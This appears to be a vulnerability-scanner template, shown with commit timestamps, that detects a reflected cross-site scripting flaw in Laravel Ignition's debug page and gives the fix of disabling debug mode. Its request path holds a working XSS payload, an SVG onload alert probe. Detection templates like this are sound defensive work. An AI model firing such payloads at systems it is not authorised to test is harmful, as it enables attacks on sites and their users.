2022-01-26 21:45:48 +00:00
|
|
|
id: laravel-ignition-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Laravel Ignition XSS
|
|
|
|
author: 0x_Akoko
|
|
|
|
severity: medium
|
2022-05-20 21:38:52 +00:00
|
|
|
description: |
|
|
|
|
Laravel's Ignition contains a cross-site scripting vulnerability when debug mode is enabled.
|
|
|
|
remediation: |
|
|
|
|
Disable Laravel's debug mode by setting APP_DEBUG to false.
|
2022-01-26 21:45:48 +00:00
|
|
|
reference:
|
|
|
|
- https://www.acunetix.com/vulnerabilities/web/laravel-ignition-reflected-cross-site-scripting/
|
2022-01-27 09:15:41 +00:00
|
|
|
- https://github.com/facade/ignition/issues/273
|
|
|
|
tags: laravel,xss,ignition
|
2022-01-26 21:45:48 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2022-01-27 09:15:41 +00:00
|
|
|
- "{{BaseURL}}/_ignition/scripts/--><svg%20onload=alert(document.domain)>"
|
2022-01-26 21:45:48 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
2022-01-27 09:15:41 +00:00
|
|
|
words:
|
|
|
|
- "Undefined index: --><svg onload=alert(document.domain)> in file"
|
2022-01-26 21:45:48 +00:00
|
|
|
|
|
|
|
- type: word
|
2022-01-27 09:15:41 +00:00
|
|
|
part: header
|
2022-01-26 21:45:48 +00:00
|
|
|
words:
|
|
|
|
- "text/html"
|
2022-05-20 21:38:52 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|